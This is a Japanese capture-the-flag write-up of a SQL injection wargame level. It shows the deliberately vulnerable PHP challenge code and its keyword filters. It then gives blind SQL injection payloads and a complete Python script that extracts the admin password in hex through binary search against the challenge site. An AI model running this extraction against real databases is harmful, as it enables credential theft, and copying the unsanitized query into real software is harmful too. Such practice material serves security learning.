include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
highlight_file(__FILE__);
特徴は以下。
- pwを入力する。以下フィルターがある
prob,_,.,(),regex,likeは使えない
- adminのpwを抜き出す必要がある
Blind SQL Injection
基本的なBlind SQL Injectionをやってみるが、うまくいかない。
こういう時はAscii文字ではない可能性があるので、hex表現で抜きとってみる。
' || id = 'admin' && {md} <= length(hex(pw)) #
これで長さを取ってくる。
' || id = 'admin' && {md} <= ascii(substr(hex(pw),{i+1},1)) #
これで取ってくる。
0000C6B00000C6550000AD73
こんな文字列が得られる。
Unicode Converter - Decimal, text, URL, and unicode converter
このサイトに入れてみる。
우왕굳なるほど。これをpwに入れるとAC
import requests
url = "https://los.rubiya.kr/chall/xavis_04f07asdfasdfsadfc390.php"
cookie = {'PHPSESSID': 'eodcsadfsadfsafdsadfefq5'}
def check(data) -> bool:
return ("Hello admin" in data) or ("Hello guest" in data)
ok = 0
ng = 60
while ok + 1 != ng:
md = (ok + ng) // 2
q = f"' || id = 'admin' && {md} <= length(hex(pw)) #"
res = requests.get(url, params={'pw': q}, cookies=cookie)
print(f"[+] try {md}")
if check(res.text):
ok = md
else:
ng = md
length = ok
print(f"[*] length = {length}")
ans = ""
for i in range(0, length):
ok = 0
ng = 256
while ok + 1 != ng:
md = (ok + ng) // 2
q = f"' || id = 'admin' && {md} <= ascii(substr(hex(pw),{i+1},1)) #"
res = requests.get(url, params={'pw': q}, cookies=cookie)
print(f"[+] try {md}")
if check(res.text):
ok = md
else:
ng = md
ans += str(chr(ok))
print(f"[*] {ans}")
print(f"[*] find! {ans}")